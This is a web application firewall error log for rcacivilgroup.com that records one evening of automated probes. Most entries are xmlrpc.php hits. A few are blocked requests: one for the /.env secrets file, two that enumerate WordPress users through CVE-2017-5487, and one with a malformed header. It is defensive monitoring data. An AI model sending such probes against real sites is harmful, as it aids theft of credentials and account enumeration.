[Sun Apr 12 17:58:01.743765 2026] [:error] [pid 25328:tid 25364] [client 102.129.234.147:18020] [client 102.129.234.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env"] [unique_id "adtsqcxUaQZxT-e0YsAAhQAAAEA"]
[Sun Apr 12 18:16:19.844476 2026] [:error] [pid 25327:tid 25336] [client 148.251.46.181:35802] [client 148.251.46.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.251.46.181, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtw8y6h2tZEVJo9JFLKRAAAAAA"]
[Sun Apr 12 18:25:44.247634 2026] [:error] [pid 25327:tid 25355] [client 103.153.2.10:37680] [client 103.153.2.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.153.2.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adtzKC6h2tZEVJo9JFLMQgAAABM"]
[Sun Apr 12 18:31:36.738359 2026] [:error] [pid 26567:tid 26572] [client 108.181.199.63:50830] [client 108.181.199.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 108.181.199.63, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adt0iHhRpg6ptWFyFx2iXwAAAQM"]
[Sun Apr 12 18:36:03.572041 2026] [:error] [pid 60280:tid 60295] [client 137.74.43.174:44886] [client 137.74.43.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.74.43.174, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adt1k3BlLnDOYuIykkhsBAAAAc0"]
[Sun Apr 12 18:36:18.599786 2026] [:error] [pid 60280:tid 60283] [client 213.165.69.184:50738] [client 213.165.69.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.165.69.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adt1onBlLnDOYuIykkhsLAAAAcE"]
[Sun Apr 12 18:41:19.021526 2026] [:error] [pid 26599:tid 26617] [client 173.249.55.89:54610] [client 173.249.55.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.249.55.89, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adt2z3G89LXoQbk_rwDHvAAAAU8"]
[Sun Apr 12 18:41:37.005391 2026] [:error] [pid 60280:tid 60287] [client 46.246.39.245:57560] [client 46.246.39.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.246.39.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adt24XBlLnDOYuIykkhvTgAAAcU"]
[Sun Apr 12 18:48:29.703327 2026] [:error] [pid 60280:tid 60286] [client 209.74.64.184:46604] [client 209.74.64.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.74.64.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adt4fXBlLnDOYuIykkh05wAAAcQ"]
[Sun Apr 12 18:53:08.290985 2026] [:error] [pid 26567:tid 26569] [client 143.244.166.58:41508] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adt5lHhRpg6ptWFyFx2n8AAAAQA"]
[Sun Apr 12 18:57:27.399170 2026] [:error] [pid 60280:tid 60282] [client 162.19.25.160:49950] [client 162.19.25.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.19.25.160, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adt6l3BlLnDOYuIykkh7TwAAAcA"]
[Sun Apr 12 18:57:44.313719 2026] [:error] [pid 25329:tid 25386] [client 109.176.198.138:53600] [client 109.176.198.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.176.198.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adt6qGdcIYsS8Iyaj12shwAAAIY"]
[Sun Apr 12 19:04:16.609310 2026] [:error] [pid 26600:tid 26633] [client 152.53.87.236:42578] [client 152.53.87.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.87.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adt8MO1YwAZiXhQKLYo2sQAAAYQ"]
[Sun Apr 12 19:12:45.567756 2026] [:error] [pid 25328:tid 25380] [client 165.227.121.154:47918] [client 165.227.121.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.227.121.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adt-LcxUaQZxT-e0YsAm6wAAAEw"]
[Sun Apr 12 19:14:53.491816 2026] [:error] [pid 25328:tid 25365] [client 178.62.28.91:41860] [client 178.62.28.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.62.28.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adt-rcxUaQZxT-e0YsAn1wAAAEE"]
[Sun Apr 12 19:15:15.575786 2026] [:error] [pid 26600:tid 26636] [client 103.139.178.239:62548] [client 103.139.178.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.139.178.239, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adt-w-1YwAZiXhQKLYo5_AAAAYc"]
[Sun Apr 12 19:15:17.825393 2026] [:error] [pid 25437:tid 25446] [client 103.139.178.239:62623] [client 103.139.178.239] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "adt-xXf97wYZje1ep_NFSgAAAMc"]
[Sun Apr 12 19:15:22.989664 2026] [:error] [pid 25437:tid 25458] [client 103.139.178.239:62623] [client 103.139.178.239] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "adt-ynf97wYZje1ep_NFUAAAANM"]
[Sun Apr 12 19:17:13.079685 2026] [:error] [pid 25328:tid 25383] [client 147.182.243.3:48990] [client 147.182.243.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.243.3, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adt_OcxUaQZxT-e0YsAo_QAAAE0"]
[Sun Apr 12 19:25:13.105711 2026] [:error] [pid 26600:tid 26653] [client 217.160.225.18:34880] [client 217.160.225.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.225.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduBGe1YwAZiXhQKLYo9ZwAAAZg"]
[Sun Apr 12 19:34:49.668992 2026] [:error] [pid 60280:tid 60299] [client 217.76.61.13:42552] [client 217.76.61.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.76.61.13, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduDWXBlLnDOYuIykkiX0QAAAdE"]
[Sun Apr 12 19:40:11.807083 2026] [:error] [pid 25328:tid 25372] [client 83.197.127.68:33986] [client 83.197.127.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.197.127.68, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduEm8xUaQZxT-e0YsA0aAAAAEc"]
[Sun Apr 12 19:44:20.426111 2026] [:error] [pid 25437:tid 25440] [client 195.26.243.16:44910] [client 195.26.243.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.26.243.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduFlHf97wYZje1ep_NR2QAAAME"]
[Sun Apr 12 19:45:08.556970 2026] [:error] [pid 25437:tid 25445] [client 211.169.178.4:23044] [client 211.169.178.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.169.178.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduFxHf97wYZje1ep_NSKQAAAMY"]
[Sun Apr 12 19:47:37.554045 2026] [:error] [pid 25328:tid 25367] [client 167.172.55.225:50298] [client 167.172.55.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.55.225, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduGWcxUaQZxT-e0YsA3fwAAAEM"]
[Sun Apr 12 19:59:01.663813 2026] [:error] [pid 26599:tid 26624] [client 143.244.166.58:40282] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduJBXG89LXoQbk_rwDVBAAAAVY"]
[Sun Apr 12 20:01:04.800134 2026] [:error] [pid 60280:tid 60289] [client 83.96.201.169:52800] [client 83.96.201.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.96.201.169, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduJgHBlLnDOYuIykkimjwAAAcc"]
[Sun Apr 12 20:01:13.080648 2026] [:error] [pid 26567:tid 26593] [client 217.154.180.19:51930] [client 217.154.180.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.180.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduJiXhRpg6ptWFyFx25HwAAARg"]
[Sun Apr 12 20:04:17.356533 2026] [:error] [pid 25437:tid 25453] [client 51.83.35.19:57354] [client 51.83.35.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.83.35.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduKQXf97wYZje1ep_NYJAAAAM4"]
[Sun Apr 12 20:04:27.208326 2026] [:error] [pid 26567:tid 26582] [client 147.93.131.179:57938] [client 147.93.131.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.93.131.179, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduKS3hRpg6ptWFyFx25nQAAAQ0"]
[Sun Apr 12 20:19:00.486373 2026] [:error] [pid 26567:tid 26573] [client 85.128.143.123:45422] [client 85.128.143.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduNtHhRpg6ptWFyFx28hQAAAQQ"]
[Sun Apr 12 20:43:01.366962 2026] [:error] [pid 26600:tid 26643] [client 213.186.179.73:51922] [client 213.186.179.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.186.179.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduTVe1YwAZiXhQKLYpRtAAAAY4"]
[Sun Apr 12 20:43:02.431497 2026] [:error] [pid 60280:tid 60306] [client 45.194.15.198:37318] [client 45.194.15.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.194.15.198, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduTVnBlLnDOYuIykki_KAAAAdg"]
[Sun Apr 12 20:45:34.129395 2026] [:error] [pid 26567:tid 26576] [client 45.194.15.198:37385] [client 45.194.15.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.194.15.198, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduT7nhRpg6ptWFyFx3CPgAAAQc"]
[Sun Apr 12 20:46:44.072409 2026] [:error] [pid 25328:tid 25394] [client 103.39.132.40:54076] [client 103.39.132.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.39.132.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduUNMxUaQZxT-e0YsBP7gAAAFI"]
[Sun Apr 12 21:02:53.007130 2026] [:error] [pid 26567:tid 26571] [client 69.163.206.7:56176] [client 69.163.206.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.163.206.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduX_XhRpg6ptWFyFx3F2wAAAQI"]
[Sun Apr 12 21:05:18.421175 2026] [:error] [pid 26567:tid 26587] [client 185.115.179.201:48818] [client 185.115.179.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.115.179.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduYjnhRpg6ptWFyFx3GWgAAARI"]
[Sun Apr 12 21:17:18.678348 2026] [:error] [pid 60280:tid 60302] [client 143.198.119.177:46040] [client 143.198.119.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.119.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adubXnBlLnDOYuIykkjP7wAAAdQ"]
[Sun Apr 12 21:29:03.688071 2026] [:error] [pid 60280:tid 60294] [client 20.218.128.24:39594] [client 20.218.128.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.218.128.24, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adueH3BlLnDOYuIykkjU8gAAAcw"]
[Sun Apr 12 21:29:37.339108 2026] [:error] [pid 26600:tid 26638] [client 82.223.13.54:38468] [client 82.223.13.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.13.54, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adueQe1YwAZiXhQKLYpcEAAAAYk"]
[Sun Apr 12 21:34:20.025400 2026] [:error] [pid 25329:tid 25381] [client 85.128.143.145:49912] [client 85.128.143.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.145, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adufXGdcIYsS8Iyaj13DTAAAAIM"]
[Sun Apr 12 21:36:46.952470 2026] [:error] [pid 25328:tid 25394] [client 217.160.15.203:43104] [client 217.160.15.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.15.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduf7sxUaQZxT-e0YsBjJwAAAFI"]
[Sun Apr 12 21:38:07.363832 2026] [:error] [pid 25437:tid 25455] [client 198.58.96.57:39008] [client 198.58.96.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.58.96.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adugP3f97wYZje1ep_N1AAAAANA"]
[Sun Apr 12 21:38:56.910359 2026] [:error] [pid 60280:tid 60306] [client 146.59.70.139:36888] [client 146.59.70.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.59.70.139, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adugcHBlLnDOYuIykkjZHAAAAdg"]
[Sun Apr 12 21:40:24.905987 2026] [:error] [pid 25328:tid 25366] [client 157.245.107.90:51318] [client 157.245.107.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.107.90, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adugyMxUaQZxT-e0YsBlEwAAAEI"]
[Sun Apr 12 21:44:06.754449 2026] [:error] [pid 25437:tid 25451] [client 149.202.76.92:58240] [client 149.202.76.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.76.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduhpnf97wYZje1ep_N3dQAAAMw"]
[Sun Apr 12 21:45:51.798844 2026] [:error] [pid 25328:tid 25387] [client 38.113.191.66:60280] [client 38.113.191.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.113.191.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduiD8xUaQZxT-e0YsBnuwAAAE8"]
[Sun Apr 12 21:46:41.179666 2026] [:error] [pid 60280:tid 60302] [client 46.105.230.99:54863] [client 46.105.230.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.105.230.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduiQXBlLnDOYuIykkjeegAAAdQ"]
[Sun Apr 12 21:50:45.502820 2026] [:error] [pid 26600:tid 26634] [client 46.163.72.195:34836] [client 46.163.72.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.163.72.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adujNe1YwAZiXhQKLYpiDwAAAYU"]
[Sun Apr 12 22:05:56.456016 2026] [:error] [pid 25437:tid 25444] [client 152.53.241.40:44564] [client 152.53.241.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.241.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adumxHf97wYZje1ep_N-oQAAAMU"]
[Sun Apr 12 22:14:51.766713 2026] [:error] [pid 25327:tid 25359] [client 121.170.188.114:42154] [client 121.170.188.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.170.188.114, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduo2y6h2tZEVJo9JFL7UQAAABc"]
[Sun Apr 12 22:16:41.979716 2026] [:error] [pid 25437:tid 25442] [client 95.217.38.155:60384] [client 95.217.38.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.217.38.155, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adupSXf97wYZje1ep_OApQAAAMM"]
[Sun Apr 12 22:24:12.094687 2026] [:error] [pid 60280:tid 60292] [client 78.142.140.182:43346] [client 78.142.140.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.142.140.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adurDHBlLnDOYuIykkj1OAAAAco"]
[Sun Apr 12 22:26:13.570711 2026] [:error] [pid 26599:tid 26623] [client 138.68.162.171:36430] [client 138.68.162.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.68.162.171, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adurhXG89LXoQbk_rwDqrQAAAVU"]
[Sun Apr 12 22:27:26.681076 2026] [:error] [pid 25329:tid 25397] [client 217.160.225.18:57544] [client 217.160.225.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.225.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adurzmdcIYsS8Iyaj13O7AAAAIw"]
[Sun Apr 12 22:31:54.538084 2026] [:error] [pid 60280:tid 60304] [client 123.187.240.242:53989] [client 123.187.240.242] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adus2nBlLnDOYuIykkj6VQAAAdY"]
